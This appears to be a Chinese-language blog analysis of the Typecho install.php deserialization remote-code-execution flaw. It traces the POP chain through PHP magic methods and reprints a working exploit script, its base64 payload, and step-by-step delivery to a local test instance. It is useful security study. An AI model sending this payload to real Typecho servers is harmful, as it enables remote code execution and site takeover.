January 1st 2018, 12:00:00 pm
漏洞分析:
思路
- 在Typecho_Cookie::get()方法中通过POST或者设置COOKIE的方法设置_typecho_config进行反序列化。
- 在序列化当中把adapter设置为一个类,导致页面执行代码时触发*_toString()*魔术方法。
- 在序列化当中设置$item令其没有screenName属性,导致在触发*_toString()魔术方法的时候触发_get()*魔术方法。
- 通过反序列化间接控制*$this->_filter*的值,利用array_map(),call_user_func()执行恶意代码。
可知,在利用漏洞的过程中,最终是要利用_toString(),_get()等魔术方法构造一个POC链,最终执行恶意代码
PHP反序列化漏洞可利用的魔术方法
- __wakeup() //使用unserialize时触发
- __sleep() //使用serialize时触发
- __destruct() //对象被销毁时触发
- __call() //在对象上下文中调用不可访问的方法时触发
- __callStatic() //在静态上下文中调用不可访问的方法时触发
- __get() //用于从不可访问的属性读取数据
- __set() //用于将数据写入不可访问的属性
- __isset() //在不可访问的属性上调用isset()或empty()触发
- __unset() //在不可访问的属性上使用unset()时触发
- __toString() //把类当作字符串使用时触发
- __invoke() //当脚本尝试将对象调用为函数时触发
漏洞的入口点在install.php,进入install.php首先经过两个判断!
1 |
|
满足的条件为:
- GET中的finishi参数不能为空。
- referer为站内url
分析过程:
1 |
|
这里有个反序列化函数:unserialize()
其中是通过Typecho_Cookie::get()方法获取的序列化的对象,找到这个方法的网页,为www\var\Typecho\Cookie.php
1 |
|
从第四行命令可知,typecho_config可以通过设置COOKIE的方式或者POST的方式输入!
再继续看前面的反序列化的代码,第四行定义了一个新的变量!
1 |
|
可知,这里实例化了一个对象 Typecho_Db 找到这个类所在的页面与代码!为www\var\Typecho\Db.php
这里有一个Typecho_Db类的魔术方法:
1 |
|
从代码可知,*$adapterName = ‘Typecho_Db_Adapter_’ . $adapterName;* 会将$config[‘adapter’]所赋值的$adapterName与一个字符串相加!
如果通过反序列化,将adapter设置为一个类,那么这个命令就会触发**__toString()**魔术方法!
用全局搜索搜索所有可利用__toString()方法的地方!
存在于:www\var\Typecho\Feed.php 在__toString()类下,存在这一段代码!
1 |
|
页面之前的代码:
1 |
|
由上上方的代码此页面前面的代码可知, $this->items是Typecho_Feed是的一个私有属性。(并且是一个数组)$item是由$this->items foreach出来的。
在最后一行,执行了$item[‘author’]->screenName。通过$item[‘author’]调用了screenName属性。
如果我们之前通过反序列化将$item[‘author’]设置为没有screenName属性,那么在执行$item[‘author’]->screenName代码时就会自动调用**_get()**魔术方法。
再用全局搜索的方法搜索_get() 存在于:www\var\Typecho\Request.php
1 |
|
这里调用了get方法,继续查找:
1 |
|
这段代码中,*$value = $this->_params[$key];可知,value变量的值由$this->_params提供,在最后又执行了$this->_applyFilter($value);* 继续查找applyFilter()方法。
1 |
|
在这里存在两个反调函数:分别为:array_map(),call_user_func().
- call_user_func()(把第一个参数作为回调函数调用)
- array_map()(函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。)
这两个函数都是作为可以执行代码的函数,并且$filter与$value的值可以通过反序列化间接控制。
附上网络上的EXP:
<?php
class Typecho_Request
{
private $_params = array();
private $_filter = array();
public function __construct()
{
// $this->_params['screenName'] = 'whoami';
$this->_params['screenName'] = -1;
$this->_filter[0] = 'phpinfo';
}
}
class Typecho_Feed
{
const RSS2 = 'RSS 2.0';
/** 定义ATOM 1.0类型 */
const ATOM1 = 'ATOM 1.0';
/** 定义RSS时间格式 */
const DATE_RFC822 = 'r';
/** 定义ATOM时间格式 */
const DATE_W3CDTF = 'c';
/** 定义行结束符 */
const EOL = "\n";
private $_type;
private $_items = array();
public $dateFormat;
public function __construct()
{
$this->_type = self::RSS2;
$item['link'] = '1';
$item['title'] = '2';
$item['date'] = 1507720298;
$item['author'] = new Typecho_Request();
$item['category'] = array(new Typecho_Request());
$this->_items[0] = $item;
}
}
$x = new Typecho_Feed();
$a = array(
'host' => 'localhost',
'user' => 'xxxxxx',
'charset' => 'utf8',
'port' => '3306',
'database' => 'typecho',
'adapter' => $x,
'prefix' => 'typecho_'
);
echo urlencode(base64_encode(serialize($a)));
?>
生成的payload为:YTo3OntzOjQ6Imhvc3QiO3M6OToibG9jYWxob3N0IjtzOjQ6InVzZXIiO3M6NjoieHh4eHh4IjtzOjc6ImNoYXJzZXQiO3M6NDoidXRmOCI7czo0OiJwb3J0IjtzOjQ6IjMzMDYiO3M6ODoiZGF0YWJhc2UiO3M6NzoidHlwZWNobyI7czo3OiJhZGFwdGVyIjtPOjEyOiJUeXBlY2hvX0ZlZWQiOjM6e3M6MTk6IgBUeXBlY2hvX0ZlZWQAX3R5cGUiO3M6NzoiUlNTIDIuMCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6NTp7czo0OiJsaW5rIjtzOjE6IjEiO3M6NToidGl0bGUiO3M6MToiMiI7czo0OiJkYXRlIjtpOjE1MDc3MjAyOTg7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO2k6LTE7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo3OiJwaHBpbmZvIjt9fXM6ODoiY2F0ZWdvcnkiO2E6MTp7aTowO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO2k6LTE7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo3OiJwaHBpbmZvIjt9fX19fXM6MTA6ImRhdGVGb3JtYXQiO047fXM6NjoicHJlZml4IjtzOjg6InR5cGVjaG9fIjt9
EXP分析
上面的exp是一个大神写的,下面的分析是基于它的exp然后删减了一些没有必要的。 只作简单的分析。
1 |
|
利用过程:
在火狐浏览器打开:http://localhost/install.php
打开HackBar:
网址为:http://localhost/install.php?finish=a
POST内容为:__typecho_config=YTo3OntzOjQ6Imhvc3QiO3M6OToibG9jYWxob3N0IjtzOjQ6InVzZXIiO3M6NjoieHh4eHh4IjtzOjc6ImNoYXJzZXQiO3M6NDoidXRmOCI7czo0OiJwb3J0IjtzOjQ6IjMzMDYiO3M6ODoiZGF0YWJhc2UiO3M6NzoidHlwZWNobyI7czo3OiJhZGFwdGVyIjtPOjEyOiJUeXBlY2hvX0ZlZWQiOjM6e3M6MTk6IgBUeXBlY2hvX0ZlZWQAX3R5cGUiO3M6NzoiUlNTIDIuMCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6NTp7czo0OiJsaW5rIjtzOjE6IjEiO3M6NToidGl0bGUiO3M6MToiMiI7czo0OiJkYXRlIjtpOjE1MDc3MjAyOTg7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO2k6LTE7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo3OiJwaHBpbmZvIjt9fXM6ODoiY2F0ZWdvcnkiO2E6MTp7aTowO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO2k6LTE7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo3OiJwaHBpbmZvIjt9fX19fXM6MTA6ImRhdGVGb3JtYXQiO047fXM6NjoicHJlZml4IjtzOjg6InR5cGVjaG9fIjt9
Referrer=http://localhost/install.php
发送POST即可看到网页执行了<?php phpinfo(); ?> 即漏洞利用成功!
参考
- https://www.freebuf.com/vuls/152058.html
- https://www.freebuf.com/vuls/155753.html
- https://paper.seebug.org/424/
- http://www.blogsir.com.cn/safe/454.html //今天突然打不开了。
- POP链和序列化,反序列化操作 - rivir-江sir //也是打不开!
其他
call_user_func (把第一个参数作为回调函数调用)
<?php
function barber($type){ //定义一个函数barber
echo "you wanted a $type haircut, no problem\n";
}
call_user_func('barber','mushroom'); //将函数barber的函数名作为一个参数!后面为输入的值!
?>
通过类名、对象的方式回调
<?php
/**
* 用call_user_func()来调用一个类里面的方法
*/
class myclass{ //定义一个类
static function say_hello(){ //在类中定义一个函数
echo "hello!\n";
}
}
$classname = "myclass";
//通过数组键值的方式,对类名进行回调,回调类名里面的,say_hello方法
call_user_func(array($classname,'say_hello'));
//通过类名直接调用静态方法
call_user_func($classname .'::say_hello'); // As of 5.2.3// $myobject = new myclass();
//通过对象的方式回调
$myobject = new myclass();
call_user_func(array($myobject, 'say_hello'));
?>
array_map() (函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。)
实例: 将函数作用到数组中的每个值上,每个值都乘以本身,并返回带有新值的数组。
<?php
function myfunction($v)
{
return($v*$v);
}
$a=array(1,2,3,4,5);
print_r(array_map("myfunction",$a));
?>
参考:http://www.w3school.com.cn/php/func_array_map.asp
pop链的利用
以前理解的序列化攻击更多的是在魔术方法中出现一些利用的漏洞,因为自动调用从而触发漏洞。
但如果关键代码不在魔术方法中,而是在一个类的普通方法中。这时候可以通过寻找相同的函数名将类的属性和敏感函数的属性联系起来。
把魔术方法作为最开始的小组件,然后在魔术方法中调用其他函数(小组件),通过寻找相同名字的函数,再与类中的敏感函数和属性相关联,就是POP CHAIN 。此时类中所有的敏感属性都属于可控的。当unserialize()传入的参数可控,便可以通过反序列化漏洞控制POP CHAIN达到利用特定漏洞的效果。
批量打
1 |
|